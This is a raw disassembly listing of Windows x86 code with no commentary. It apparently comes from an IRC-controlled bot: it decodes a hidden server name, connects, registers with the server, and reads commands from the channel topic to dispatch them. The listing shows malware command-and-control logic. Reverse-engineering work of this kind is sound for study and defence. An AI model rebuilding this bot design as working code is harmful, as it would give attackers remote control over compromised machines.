mov [ebp+var_10], edi
loc_417796: ; CODE XREF: sub_417676+192j
test edi, edi
mov eax, dword_433C40
mov [ebp+var_14], eax
jz short loc_4177A6
cmp edi, ebx
jz short loc_4177AB
loc_4177A6: ; CODE XREF: sub_417676+12Aj
call __invalid_parameter_noinfo
loc_4177AB: ; CODE XREF: sub_417676+12Ej
cmp esi, [ebp+var_14]
jz loc_417836
test edi, edi
jnz short loc_4177BD
call __invalid_parameter_noinfo
loc_4177BD: ; CODE XREF: sub_417676+140j
cmp esi, [edi+4]
jnz short loc_4177C7
call __invalid_parameter_noinfo
loc_4177C7: ; CODE XREF: sub_417676+14Aj
mov ecx, [ebp+Dest]
lea eax, [esi+0Ch]
loc_4177D0: ; CODE XREF: sub_417676+172j
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_4177EE
test dl, dl
jz short loc_4177EA
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_4177EE
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_4177D0
loc_4177EA: ; CODE XREF: sub_417676+162j
xor eax, eax
jmp short loc_4177F3
; ---------------------------------------------------------------------------
loc_4177EE: ; CODE XREF: sub_417676+15Ej
; sub_417676+16Aj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_4177F3: ; CODE XREF: sub_417676+176j
test eax, eax
jz short loc_41780A
lea edi, [ebp+var_20]
lea esi, [ebp+var_10]
call sub_40168C
mov esi, [ebp+var_C]
mov edi, [ebp+var_10]
jmp short loc_417796
; ---------------------------------------------------------------------------
loc_41780A: ; CODE XREF: sub_417676+17Fj
cmp esi, [edi+4]
jnz short loc_417814
call __invalid_parameter_noinfo
loc_417814: ; CODE XREF: sub_417676+197j
mov ecx, [esi+8]
mov eax, [ecx]
lea edx, [ebp+Dest]
push edx
mov edx, [ebp+var_4]
dec edx
push edx
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+var_8]
push [ebp+arg_4]
call dword ptr [eax]
loc_417836: ; CODE XREF: sub_417676+EAj
; sub_417676+138j
pop edi
pop esi
pop ebx
leave
retn 18h
sub_417676 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41783D proc near ; CODE XREF: sub_417F01+107p
var_10F48 = dword ptr -10F48h
var_10F34 = dword ptr -10F34h
var_10734 = dword ptr -10734h
Str = dword ptr -10730h
var_1072C = byte ptr -1072Ch
var_1062C = byte ptr -1062Ch
var_1052C = byte ptr -1052Ch
var_1042C = byte ptr -1042Ch
var_72C = byte ptr -72Ch
var_72B = byte ptr -72Bh
var_62C = dword ptr -62Ch
Dest = byte ptr -52Ch
var_52B = byte ptr -52Bh
Source = byte ptr -52Ah
var_32C = byte ptr -32Ch
var_32B = byte ptr -32Bh
var_22C = byte ptr -22Ch
var_22B = byte ptr -22Bh
var_1AC = dword ptr -1ACh
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_78 = dword ptr -78h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_44 = byte ptr -44h
var_43 = byte ptr -43h
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
Args = byte ptr -20h
var_1F = byte ptr -1Fh
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10F38h
call __alloca_probe
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, 1FFh
xor ebx, ebx
push esi ; size_t
mov [ebp+var_10734], eax
lea eax, [ebp+var_52B]
mov edi, ecx
push ebx ; int
push eax ; void *
mov [ebp+Str], edi
mov [ebp+Dest], bl
call _memset
add esp, 0Ch
push edi
push offset aS_5 ; "%s"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 10h
lea edi, [eax+1]
loc_4178A5: ; CODE XREF: sub_41783D+6Dj
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_4178A5
sub eax, edi
mov [ebp+eax+Dest], bl
lea eax, [ebp+Dest]
push offset SubStr ; " :"
push eax ; Str
call _strstr
push eax
push offset aS_6 ; "%s"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 18h
lea esi, [eax+1]
loc_4178E5: ; CODE XREF: sub_41783D+ADj
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_4178E5
sub eax, esi
mov [ebp+eax+Dest], bl
lea eax, [ebp+Dest]
lea esi, [eax+1]
loc_4178FE: ; CODE XREF: sub_41783D+C6j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_4178FE
sub eax, esi
push eax ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strncpy
add esp, 0Ch
push offset asc_42025C ; " "
push [ebp+Str] ; Str
call _strtok
cmp eax, ebx
pop ecx
pop ecx
jz short loc_41797F
xor esi, esi
loc_417936: ; CODE XREF: sub_41783D+140j
push eax
push offset aS_7 ; "%s"
lea edi, [ebp+esi+var_1072C]
push 0FFh ; Count
push edi ; Dest
call __snprintf
mov eax, edi
add esp, 10h
lea edi, [eax+1]
loc_417956: ; CODE XREF: sub_41783D+11Ej
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_417956
sub eax, edi
add eax, esi
push offset asc_420264 ; " "
push ebx ; Str
mov [ebp+eax+var_1072C], bl
call _strtok
pop ecx
add esi, 100h
cmp eax, ebx
pop ecx
jnz short loc_417936
loc_41797F: ; CODE XREF: sub_41783D+F5j
xor eax, eax
mov [ebp+var_2C], bl
lea edi, [ebp+var_2B]
stosd
stosd
xor eax, eax
mov [ebp+var_38], bl
lea edi, [ebp+var_37]
stosd
stosd
xor eax, eax
mov [ebp+var_54], bl
lea edi, [ebp+var_53]
stosd
stosd
stosd
xor eax, eax
mov [ebp+Args], bl
lea edi, [ebp+var_1F]
stosd
push 0FFh ; size_t
stosd
lea eax, [ebp+var_32B]
push ebx ; int
push eax ; void *
mov [ebp+var_32C], bl
call _memset
add esp, 0Ch
push 2Fh ; size_t
lea eax, [ebp+var_A7]
push ebx ; int
push eax ; void *
mov [ebp+var_A8], bl
call _memset
xor eax, eax
mov [ebp+var_14], bl
lea edi, [ebp+var_13]
stosd
stosd
xor eax, eax
mov [ebp+var_44], bl
lea edi, [ebp+var_43]
stosd
add esp, 0Ch
push 7Fh ; size_t
stosd
lea eax, [ebp+var_22B]
push ebx ; int
push eax ; void *
mov [ebp+var_22C], bl
call _memset
add esp, 0Ch
push 9
lea esi, [ebp+var_2C]
mov ebx, offset byte_425543
call sub_4196D1
pop ecx
push 9
lea esi, [ebp+var_38]
mov ebx, offset byte_425555
call sub_4196D1
pop ecx
push 0Dh
lea esi, [ebp+var_54]
mov ebx, offset aJzgdDDZndvzeag ; "Ѧ§£¤Ö¤Ô¤ÐÔÓÑЧ¤¢§¥ ££ÑÖÐצӥ֢Ӭ£ÔÖ¡"...
call sub_4196D1
pop ecx
lea ecx, [ebp+var_2C]
lea eax, [ebp+var_1072C]
loc_417A40: ; CODE XREF: sub_41783D+21Bj
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_417A5E
test dl, dl
jz short loc_417A5A
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_417A5E
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_417A40
loc_417A5A: ; CODE XREF: sub_41783D+20Bj
xor eax, eax
jmp short loc_417A63
; ---------------------------------------------------------------------------
loc_417A5E: ; CODE XREF: sub_41783D+207j
; sub_41783D+213j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417A63: ; CODE XREF: sub_41783D+21Fj
test eax, eax
jnz short loc_417AA7
push 9
lea esi, [ebp+Args]
mov ebx, offset dword_42554C
call sub_4196D1
mov edi, [ebp+var_10734]
pop ecx
lea eax, [ebp+var_1062C]
push eax
mov eax, esi
push eax ; Args
push offset aSS_4 ; "%s %s\r\n"
call sub_4172CC
add esp, 0Ch
test al, al
jnz short loc_417A9F
loc_417A98: ; CODE XREF: sub_41783D+333j
xor al, al
jmp loc_417EF0
; ---------------------------------------------------------------------------
loc_417A9F: ; CODE XREF: sub_41783D+259j
xor eax, eax
lea edi, [ebp+Args]
stosd
stosd
stosb
loc_417AA7: ; CODE XREF: sub_41783D+228j
lea ecx, [ebp+var_38]
lea eax, [ebp+var_1062C]
loc_417AB0: ; CODE XREF: sub_41783D+28Bj
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_417ACE
test dl, dl
jz short loc_417ACA
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_417ACE
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_417AB0
loc_417ACA: ; CODE XREF: sub_41783D+27Bj
xor eax, eax
jmp short loc_417AD3
; ---------------------------------------------------------------------------
loc_417ACE: ; CODE XREF: sub_41783D+277j
; sub_41783D+283j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417AD3: ; CODE XREF: sub_41783D+28Fj
test eax, eax
jnz loc_417B75
push 100h
lea esi, [ebp+var_32C]
mov ebx, offset dword_424ED0
call sub_4196D1
pop ecx
mov ecx, esi
lea eax, [ebp+var_1052C]
loc_417AF9: ; CODE XREF: sub_41783D+2D4j
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_417B17
test dl, dl
jz short loc_417B13
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_417B17
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_417AF9
loc_417B13: ; CODE XREF: sub_41783D+2C4j
xor eax, eax
jmp short loc_417B1C
; ---------------------------------------------------------------------------
loc_417B17: ; CODE XREF: sub_41783D+2C0j
; sub_41783D+2CCj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417B1C: ; CODE XREF: sub_41783D+2D8j
test eax, eax
jnz loc_417EEE
push 9
lea esi, [ebp+var_14]
mov ebx, offset word_42555E
call sub_4196D1
pop ecx
push 30h
lea esi, [ebp+var_A8]
mov ebx, offset dword_424FD0
call sub_4196D1
mov edi, [ebp+var_10734]
pop ecx
mov eax, esi
push eax
lea eax, [ebp+var_32C]
push eax
lea eax, [ebp+var_14]
push eax ; Args
push offset aSSS_1 ; "%s %s %s\r\n"
call sub_4172CC
add esp, 10h
loc_417B68: ; CODE XREF: sub_41783D+3E0j
test al, al
jnz loc_417EEE
jmp loc_417A98
; ---------------------------------------------------------------------------
loc_417B75: ; CODE XREF: sub_41783D+298j
push 4
mov edi, offset a001 ; "001"
lea esi, [ebp+var_1062C]
pop ecx
xor eax, eax
repe cmpsb
jnz loc_417C22
push 9
lea esi, [ebp+var_14]
mov ebx, offset word_42555E
call sub_4196D1
pop ecx
push 9
lea esi, [ebp+var_44]
mov ebx, offset byte_425567
call sub_4196D1
lea esi, [ebp+var_32C]
mov ebx, offset dword_424ED0
mov [esp+10F48h+var_10F48], 100h
call sub_4196D1
pop ecx
push 30h
lea esi, [ebp+var_A8]
mov ebx, offset dword_424FD0
call sub_4196D1
pop ecx
push 80h
lea esi, [ebp+var_22C]
mov ebx, offset byte_424FE9
call sub_4196D1
mov edi, [ebp+var_10734]
pop ecx
lea eax, [ebp+var_A8]
push eax
lea eax, [ebp+var_32C]
push eax
lea eax, [ebp+var_14]
push eax
mov eax, esi
push eax
lea eax, [edi+5]
push eax
lea eax, [ebp+var_44]
push eax ; Args
push offset aSSSSSS ; "%s %s %s\r\n%s %s %s\r\n"
call sub_4172CC
add esp, 1Ch
jmp loc_417B68
; ---------------------------------------------------------------------------
loc_417C22: ; CODE XREF: sub_41783D+34Aj
lea ecx, [ebp+var_54]
lea eax, [ebp+var_1062C]
loc_417C2B: ; CODE XREF: sub_41783D+406j
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_417C49
test dl, dl
jz short loc_417C45
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_417C49
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jnz short loc_417C2B
loc_417C45: ; CODE XREF: sub_41783D+3F6j
xor eax, eax
jmp short loc_417C4E
; ---------------------------------------------------------------------------
loc_417C49: ; CODE XREF: sub_41783D+3F2j
; sub_41783D+3FEj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417C4E: ; CODE XREF: sub_41783D+40Aj
test eax, eax
jz short loc_417C6A
push 4
mov edi, offset a332 ; "332"
lea esi, [ebp+var_1062C]
pop ecx
xor eax, eax
repe cmpsb
jnz loc_417EEE
loc_417C6A: ; CODE XREF: sub_41783D+413j
push 8
pop ecx
xor eax, eax
mov byte ptr [ebp+var_78], 0
lea edi, [ebp+var_78+1]
rep stosd
mov ebx, 0FFh
push ebx ; size_t
stosw
xor esi, esi
lea eax, [ebp+var_1AC+1]
push esi ; int
push eax ; void *
mov byte ptr [ebp+Str], 0
mov byte ptr [ebp+var_1AC], 0
call _memset
add esp, 0Ch
push ebx ; size_t
lea eax, [ebp+var_62C+1]
push esi ; int
push eax ; void *
mov byte ptr [ebp+var_62C], 0
call _memset
add esp, 0Ch
push ebx ; size_t
lea eax, [ebp+var_72B]
push esi ; int
push eax ; void *
mov [ebp+var_72C], 0
call _memset
add esp, 0Ch
lea eax, [ebp+var_1072C]
push offset asc_42029C ; " :"
push eax ; Str
call _strtok
push eax
push offset aS_8 ; "%s"
lea eax, [ebp+var_62C]
push ebx ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_62C]
add esp, 18h
lea esi, [eax+1]
loc_417D00: ; CODE XREF: sub_41783D+4C8j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417D00
sub eax, esi
mov byte ptr [ebp+eax+var_62C], cl
lea eax, [ebp+var_1072C]
push offset asc_4202A4 ; "!"
push eax ; Str
call _strtok
push eax
push offset aS_9 ; "%s"
lea eax, [ebp+var_78]
push 22h ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_78]
add esp, 18h
lea esi, [eax+1]
loc_417D3B: ; CODE XREF: sub_41783D+503j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417D3B
sub eax, esi
mov byte ptr [ebp+eax+var_78], cl
lea eax, [ebp+var_78]
lea esi, [eax+1]
loc_417D4E: ; CODE XREF: sub_41783D+516j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417D4E
sub eax, esi
push eax ; Count
lea eax, [ebp+var_78+1]
push eax ; Source
lea eax, [ebp+var_78]
push eax ; Dest
call _strncpy
add esp, 0Ch
push 4
mov edi, offset a332_0 ; "332"
lea esi, [ebp+var_1062C]
pop ecx
xor eax, eax
repe cmpsb
jnz short loc_417DB4
lea eax, [ebp+var_1042C]
push eax
push offset aS_10 ; "%s"
lea eax, [ebp+var_1AC]
push ebx ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_1AC]
add esp, 10h
lea edx, [eax+1]
loc_417DA1: ; CODE XREF: sub_41783D+569j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417DA1
mov byte ptr [ebp+Str], 1
jmp loc_417E41
; ---------------------------------------------------------------------------
loc_417DB4: ; CODE XREF: sub_41783D+53Dj
mov esi, [ebp+var_10734]
add esi, 5
lea eax, [ebp+var_1052C]
loc_417DC3: ; CODE XREF: sub_41783D+59Ej
mov cl, [eax]
cmp cl, [esi]
jnz short loc_417DE1
test cl, cl
jz short loc_417DDD
mov cl, [eax+1]
cmp cl, [esi+1]
jnz short loc_417DE1
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_417DC3
loc_417DDD: ; CODE XREF: sub_41783D+58Ej
xor eax, eax
jmp short loc_417DE6
; ---------------------------------------------------------------------------
loc_417DE1: ; CODE XREF: sub_41783D+58Aj
; sub_41783D+596j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_417DE6: ; CODE XREF: sub_41783D+5A2j
test eax, eax
jnz short loc_417E15
lea eax, [ebp+var_78]
push eax
push offset aS_11 ; "%s"
lea eax, [ebp+var_1AC]
push ebx ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_1AC]
add esp, 10h
lea edx, [eax+1]
loc_417E0C: ; CODE XREF: sub_41783D+5D4j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417E0C
jmp short loc_417E41
; ---------------------------------------------------------------------------
loc_417E15: ; CODE XREF: sub_41783D+5ABj
lea eax, [ebp+var_1052C]
push eax
push offset aS_12 ; "%s"
lea eax, [ebp+var_1AC]
push ebx ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+var_1AC]
add esp, 10h
lea edx, [eax+1]
loc_417E3A: ; CODE XREF: sub_41783D+602j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_417E3A
loc_417E41: ; CODE XREF: sub_41783D+572j
; sub_41783D+5D6j
sub eax, edx
push 100h
lea esi, [ebp+var_72C]
mov ebx, offset byte_425021
mov byte ptr [ebp+eax+var_1AC], 0
call sub_4196D1
pop ecx
lea eax, [ebp+var_62C]
mov ecx, esi
call sub_419044
test eax, eax
jnz short loc_417E7A
cmp byte ptr [ebp+Str], al
jz short loc_417EEE
loc_417E7A: ; CODE XREF: sub_41783D+633j
xor edi, edi
cmp byte ptr [ebp+Str], 0
lea eax, [ebp+Dest]
jz short loc_417E92
push offset asc_4202BC ; ";"
jmp short loc_417E97
; ---------------------------------------------------------------------------
loc_417E92: ; CODE XREF: sub_41783D+64Cj
push offset asc_4202C0 ; ";"
loc_417E97: ; CODE XREF: sub_41783D+653j
push eax ; Str
call _strtok
jmp short loc_417EB3
; ---------------------------------------------------------------------------
loc_417E9F: ; CODE XREF: sub_41783D+67Aj
push offset asc_4202C4 ; ";"
push 0 ; Str
mov [ebp+edi*4+var_10F34], eax
call _strtok
inc edi
loc_417EB3: ; CODE XREF: sub_41783D+660j
test eax, eax
pop ecx
pop ecx
jnz short loc_417E9F
xor esi, esi
test edi, edi
jle short loc_417EEE
loc_417EBF: ; CODE XREF: sub_41783D+6AFj
push [ebp+esi*4+var_10F34] ; Str
lea eax, [ebp+var_1AC]
push eax ; int
lea eax, [ebp+var_62C]
push eax ; int
lea eax, [ebp+var_78]
push eax ; int
push [ebp+Str] ; int
push [ebp+var_10734] ; int
call sub_417676
inc esi
cmp esi, edi
jl short loc_417EBF
loc_417EEE: ; CODE XREF: sub_41783D+2E1j
; sub_41783D+32Dj ...
mov al, 1
loc_417EF0: ; CODE XREF: sub_41783D+25Dj
mov ecx, [ebp+var_8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn 4
sub_41783D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F01 proc near ; CODE XREF: .text:0041C039p
var_20414 = dword ptr -20414h
Dest = dword ptr -20410h
var_2040C = dword ptr -2040Ch
var_20408 = byte ptr -20408h
Str = byte ptr -408h
var_407 = byte ptr -407h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 20414h
call __alloca_probe
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
push edi
mov esi, 3FFh
xor ebx, ebx
push esi ; size_t
lea eax, [ebp+var_407]
mov edi, ecx
push ebx ; int
push eax ; void *
mov [ebp+var_20414], edi
mov [ebp+Str], bl
call _memset
add esp, 0Ch
push ebx
push esi
lea eax, [ebp+Str]
push eax
push dword ptr [edi]
mov [ebp+var_2040C], ebx
call ds:dword_41D270 ; recv
test eax, eax
jz loc_418016
lea eax, [ebp+Str]
lea edx, [eax+1]
loc_417F69: ; CODE XREF: sub_417F01+6Dj
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_417F69
sub eax, edx
mov [ebp+eax+Str], bl
lea eax, [ebp+Str]
push offset asc_420238 ; "\r\n"
push eax ; Str
call _strtok
push 20000h ; size_t
mov edi, eax
lea eax, [ebp+var_20408]
push ebx ; int
push eax ; void *
call _memset
add esp, 14h
cmp edi, ebx
mov esi, 200h
jz short loc_417FEC
lea eax, [ebp+var_20408]
mov [ebp+Dest], eax
loc_417FB6: ; CODE XREF: sub_417F01+E9j
push edi
push offset aS_18 ; "%s"
push 1FFh ; Count
push [ebp+Dest] ; Dest
call __snprintf
push offset asc_420240 ; "\r\n"
push ebx ; Str
call _strtok
add [ebp+Dest], esi
add esp, 18h
inc [ebp+var_2040C]
mov edi, eax
cmp edi, ebx
jnz short loc_417FB6
loc_417FEC: ; CODE XREF: sub_417F01+A7j
cmp [ebp+var_2040C], ebx
jle short loc_418012
mov ebx, [ebp+var_2040C]
lea edi, [ebp+var_20408]
loc_418000: ; CODE XREF: sub_417F01+10Fj
push [ebp+var_20414]
mov ecx, edi
call sub_41783D
add edi, esi
dec ebx
jnz short loc_418000
loc_418012: ; CODE XREF: sub_417F01+F1j
mov al, 1
jmp short loc_418020
; ---------------------------------------------------------------------------
loc_418016: ; CODE XREF: sub_417F01+59j
push dword ptr [edi]
call ds:dword_41D224 ; closesocket
xor al, al
loc_418020: ; CODE XREF: sub_417F01+113j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn
sub_417F01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41802F proc near ; CODE XREF: .text:0041C027p
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = byte ptr -448h
var_447 = byte ptr -447h
var_444 = byte ptr -444h
var_443 = byte ptr -443h
var_440 = word ptr -440h
var_43E = word ptr -43Eh
var_43C = byte ptr -43Ch
var_430 = byte ptr -430h
var_42F = byte ptr -42Fh
var_230 = byte ptr -230h
var_22F = byte ptr -22Fh
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_24 = byte ptr -24h
var_23 = byte ptr -23h
Args = byte ptr -18h
var_17 = byte ptr -17h
Dest = byte ptr -0Ch
var_B = byte ptr -0Bh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 454h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 0
push 1
mov edi, ecx
push 2
mov [ebp+var_450], edi
mov ebx, edx
mov [ebp+var_44C], eax
call ds:dword_41D27C ; socket
cmp eax, 0FFFFFFFFh
mov [edi], eax
jnz short loc_418079
push eax
loc_41806C: ; CODE XREF: sub_41802F+8Bj
call ds:dword_41D224 ; closesocket
xor al, al
jmp loc_41828B
; ---------------------------------------------------------------------------
loc_418079: ; CODE XREF: sub_41802F+3Aj
push 1FFh ; size_t
lea eax, [ebp+var_22F]
push 0 ; int
push eax ; void *
mov [ebp+var_230], 0
call _memset
add esp, 0Ch
push 200h
lea esi, [ebp+var_230]
call sub_4196D1
pop ecx
mov eax, esi
push eax
call ds:dword_41D23C ; gethostbyname
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jnz short loc_4180BC
loc_4180B8: ; CODE XREF: sub_41802F+E7j
push dword ptr [edi]
jmp short loc_41806C
; ---------------------------------------------------------------------------
loc_4180BC: ; CODE XREF: sub_41802F+87j
push 200h ; size_t
lea eax, [ebp+var_230]
push ebx ; int
push eax ; void *
call _memset
movsx eax, word ptr [esi+0Ah]
add esp, 0Ch
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp+var_43C]
push eax
call unknown_libname_61 ; Microsoft VisualC 2-8/net runtime
add esp, 0Ch
push [ebp+arg_4]
mov [ebp+var_440], 2
call ds:dword_41D278 ; htons
mov [ebp+var_43E], ax
push 10h
lea eax, [ebp+var_440]
push eax
push dword ptr [edi]
call ds:dword_41D240 ; connect
test eax, eax
jnz short loc_4180B8
mov eax, [ebp+var_44C]
lea edx, [eax+1] ; char
loc_418121: ; CODE XREF: sub_41802F+F7j
mov cl, [eax] ; unsigned int
inc eax
cmp cl, bl
jnz short loc_418121
sub eax, edx
jz short loc_418197
xor eax, eax
mov [ebp+Args], bl
lea edi, [ebp+var_17]
stosd
push 1FFh ; size_t
stosd
lea eax, [ebp+var_42F]
push ebx ; int
push eax ; void *
mov [ebp+var_430], bl
call _memset
mov ebx, [ebp+var_44C]
add esp, 0Ch
push 200h
lea esi, [ebp+var_430]
call sub_4196D1
pop ecx
push 9
lea esi, [ebp+Args]
mov ebx, offset byte_425531
call sub_4196D1
mov edi, [ebp+var_450]
pop ecx
lea eax, [ebp+var_430]
push eax
mov eax, esi
push eax ; Args
push offset aSS_5 ; "%s %s\r\n"
call sub_4172CC
add esp, 0Ch
xor ebx, ebx
loc_418197: ; CODE XREF: sub_41802F+FBj
xor eax, eax
mov [ebp+var_24], bl
lea edi, [ebp+var_23]
stosd
stosd
xor eax, eax
mov [ebp+var_30], bl
lea edi, [ebp+var_2F]
stosd
stosd
xor eax, eax
mov [ebp+Dest], bl
lea edi, [ebp+var_B]
stosd
stosw
xor eax, eax
push ebx
mov [ebp+var_448], bl
lea edi, [ebp+var_447]
stosw
push 3
mov [ebp+var_444], bl
lea edi, [ebp+var_443]
pop ecx
lea esi, [ebp+var_448]
stosw
call sub_418E51
pop ecx
push ebx
push 3
lea esi, [ebp+var_444]
call sub_418E1F
xor eax, eax
lea edi, [ebp+Dest]
stosd
stosw
stosb
mov eax, esi
push eax
lea eax, [ebp+var_448]
push eax
push offset aSS_6 ; "%s-%s"
lea eax, [ebp+Dest]
push 6 ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+Dest]
add esp, 1Ch
lea esi, [eax+1]
loc_41821E: ; CODE XREF: sub_41802F+1F4j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41821E
sub eax, esi
mov [ebp+eax+Dest], bl
xor eax, eax
lea edi, [ebp+var_448]
stosw
stosb
xor eax, eax
lea edi, [ebp+var_444]
stosw
push 9
lea esi, [ebp+var_24]
mov ebx, offset dword_425528
stosb
call sub_4196D1
pop ecx
push 9
lea esi, [ebp+var_30]
mov ebx, offset word_42553A
call sub_4196D1
mov edi, [ebp+var_450]
pop ecx
lea ebx, [edi+5]
call sub_41748B
push ebx
lea eax, [ebp+Dest]
push eax
mov eax, esi
push eax
push ebx
lea eax, [ebp+var_24]
push eax ; Args
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
call sub_4172CC
add esp, 18h
mov al, 1
loc_41828B: ; CODE XREF: sub_41802F+45j
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn 8
sub_41802F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41829C proc near ; CODE XREF: sub_418301+3Ep
var_10 = dword ptr -10h
Args = byte ptr -0Ch
var_B = byte ptr -0Bh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov [ebp+var_10], eax
xor eax, eax
mov [ebp+Args], 0
lea edi, [ebp+var_B]
push 5
lea esi, [ebp+Args]
mov ebx, offset dword_425528
stosd
call sub_4196D1
mov ebx, [ebp+var_10]
pop ecx
add ebx, 5
call sub_41748B
push ebx
mov eax, esi
push eax ; Args
push offset aSS_7 ; "%s %s\r\n"
mov edi, offset dword_4269BC
call sub_4172CC
mov ecx, [ebp+var_4]
add esp, 0Ch
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_402710
leave
retn 4
sub_41829C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_418301 proc near ; DATA XREF: .text:0041BF7Co
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push esi
push edi
call sub_418DA0
mov edi, dword_426598
mov esi, dword_42659C
loc_41831A: ; CODE XREF: sub_418301+5Aj
call sub_418DA0
cmp dword_42659C, esi
jl short loc_418344
jg short loc_418331
cmp dword_426598, edi
jbe short loc_418344
loc_418331: ; CODE XREF: sub_418301+26j
cmp byte_4269C0, 0
jz short loc_418344
push offset dword_4269BC
call sub_41829C
loc_418344: ; CODE XREF: sub_418301+24j
; sub_418301+2Ej ...
mov edi, dword_426598
mov esi, dword_42659C
push 0C350h
call ds:dword_41D0FC ; Sleep
jmp short loc_41831A
sub_418301 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41835D proc near ; CODE XREF: sub_418AEB+1Ep
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push offset word_426694
push dword_4267AC
mov [ebp+var_4], 10h
call ds:dword_41D234 ; accept
leave
retn
sub_41835D endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41837F(char *Str)
sub_41837F proc near ; CODE XREF: sub_418552+1D2p
Str = dword ptr 4
jmp short loc_418384
; ---------------------------------------------------------------------------
loc_418381: ; CODE XREF: sub_41837F+14j
mov byte ptr [eax], 5Ch
loc_418384: ; CODE XREF: sub_41837Fj
push 2Fh ; Val
push [esp+4+Str] ; Str
call _strchr
test eax, eax
pop ecx
pop ecx
jnz short loc_418381
retn
sub_41837F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418396(char *Str)
sub_418396 proc near ; CODE XREF: sub_418552+192p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
Dest = byte ptr -4
var_2 = byte ptr -2
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+Str]
mov eax, esi
push edi
lea ecx, [eax+1]
loc_4183A7: ; CODE XREF: sub_418396+16j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_4183A7
sub eax, ecx
inc eax
push eax ; unsigned int
